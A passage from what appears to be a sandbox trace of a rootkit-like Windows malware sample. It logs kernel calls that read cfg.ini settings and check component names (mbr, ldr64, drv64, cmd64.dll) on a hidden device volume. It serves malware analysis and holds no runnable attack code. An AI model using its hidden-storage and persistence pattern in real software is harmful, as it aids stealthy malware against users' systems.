PriorityBoost=0) [0120.416] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.416] KeEnterCriticalRegion () [0120.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.416] KeLeaveCriticalRegion () [0120.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.416] ReleaseMutex (hMutex=0xf0) returned 1 [0120.416] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.416] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.416] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.416] KeEnterCriticalRegion () [0120.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.417] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.417] IdePortDispatch () returned 0x103 [0120.417] KeWaitForMutexObject () returned 0x0 [0120.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.417] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.417] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.417] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.417] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.417] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.417] KeLeaveCriticalRegion () [0120.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.417] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.417] KeEnterCriticalRegion () [0120.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.417] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.417] KeLeaveCriticalRegion () [0120.417] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.417] KeEnterCriticalRegion () [0120.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.417] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.417] IdePortDispatch () returned 0x103 [0120.417] KeWaitForMutexObject () returned 0x0 [0120.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.418] KeLeaveCriticalRegion () [0120.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.418] KeEnterCriticalRegion () [0120.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003463000 [0120.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.418] IdePortDispatch () returned 0x103 [0120.418] KeWaitForMutexObject () returned 0x0 [0120.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.418] IdePortDispatch () returned 0x103 [0120.418] KeWaitForMutexObject () returned 0x0 [0120.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.418] KeLeaveCriticalRegion () [0120.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.419] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.419] KeEnterCriticalRegion () [0120.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] KeLeaveCriticalRegion () [0120.419] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.419] KeEnterCriticalRegion () [0120.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.419] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] KeLeaveCriticalRegion () [0120.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.419] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.419] KeEnterCriticalRegion () [0120.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] KeLeaveCriticalRegion () [0120.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.419] ReleaseMutex (hMutex=0xf0) returned 1 [0120.419] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.419] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.419] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.419] KeEnterCriticalRegion () [0120.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.419] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.419] IdePortDispatch () returned 0x103 [0120.419] KeWaitForMutexObject () returned 0x0 [0120.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.420] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.420] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.420] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.420] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.420] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc27a0 [0120.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.420] KeLeaveCriticalRegion () [0120.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.420] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.420] KeEnterCriticalRegion () [0120.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.420] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.420] KeLeaveCriticalRegion () [0120.420] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.420] KeEnterCriticalRegion () [0120.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.420] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.420] IdePortDispatch () returned 0x103 [0120.420] KeWaitForMutexObject () returned 0x0 [0120.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.420] KeLeaveCriticalRegion () [0120.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.420] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.421] KeEnterCriticalRegion () [0120.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.421] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003464000 [0120.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.421] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.421] IdePortDispatch () returned 0x103 [0120.422] KeWaitForMutexObject () returned 0x0 [0120.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.422] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.422] IdePortDispatch () returned 0x103 [0120.422] KeWaitForMutexObject () returned 0x0 [0120.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.422] KeLeaveCriticalRegion () [0120.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.422] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.423] KeEnterCriticalRegion () [0120.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] KeLeaveCriticalRegion () [0120.423] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.423] KeEnterCriticalRegion () [0120.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.423] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] KeLeaveCriticalRegion () [0120.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.423] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.423] KeEnterCriticalRegion () [0120.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] ExFreePoolWithTag (P=0xfffffa8003bc27a0, Tag=0x0) [0120.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] KeLeaveCriticalRegion () [0120.423] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.423] ReleaseMutex (hMutex=0xf0) returned 1 [0120.423] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.423] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.423] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.423] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.423] KeEnterCriticalRegion () [0120.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.423] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.423] IdePortDispatch () returned 0x103 [0120.423] KeWaitForMutexObject () returned 0x0 [0120.423] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.424] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.424] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.424] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.424] KeLeaveCriticalRegion () [0120.424] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.424] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.424] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.424] KeEnterCriticalRegion () [0120.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.424] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.424] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.424] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.424] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.424] IdePortDispatch () returned 0x103 [0120.424] KeWaitForMutexObject () returned 0x0 [0120.424] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.424] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.424] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.424] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.424] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.424] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.424] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.425] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.425] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.425] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.425] KeLeaveCriticalRegion () [0120.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.425] ReleaseMutex (hMutex=0x100) returned 1 [0120.425] Sleep (dwMilliseconds=0x2bf20) [0120.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6afa8ed0, dwHighDateTime=0x1d24fa4)) [0120.431] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.431] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.431] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.431] KeEnterCriticalRegion () [0120.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.431] IdePortDispatch () returned 0x103 [0120.432] KeWaitForMutexObject () returned 0x0 [0120.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.432] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.432] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.432] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.432] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.432] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb960 [0120.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.432] KeLeaveCriticalRegion () [0120.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.432] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.432] KeEnterCriticalRegion () [0120.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.432] KeLeaveCriticalRegion () [0120.432] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.432] KeEnterCriticalRegion () [0120.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.432] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.432] IdePortDispatch () returned 0x103 [0120.432] KeWaitForMutexObject () returned 0x0 [0120.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.432] KeLeaveCriticalRegion () [0120.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.433] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.433] KeEnterCriticalRegion () [0120.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 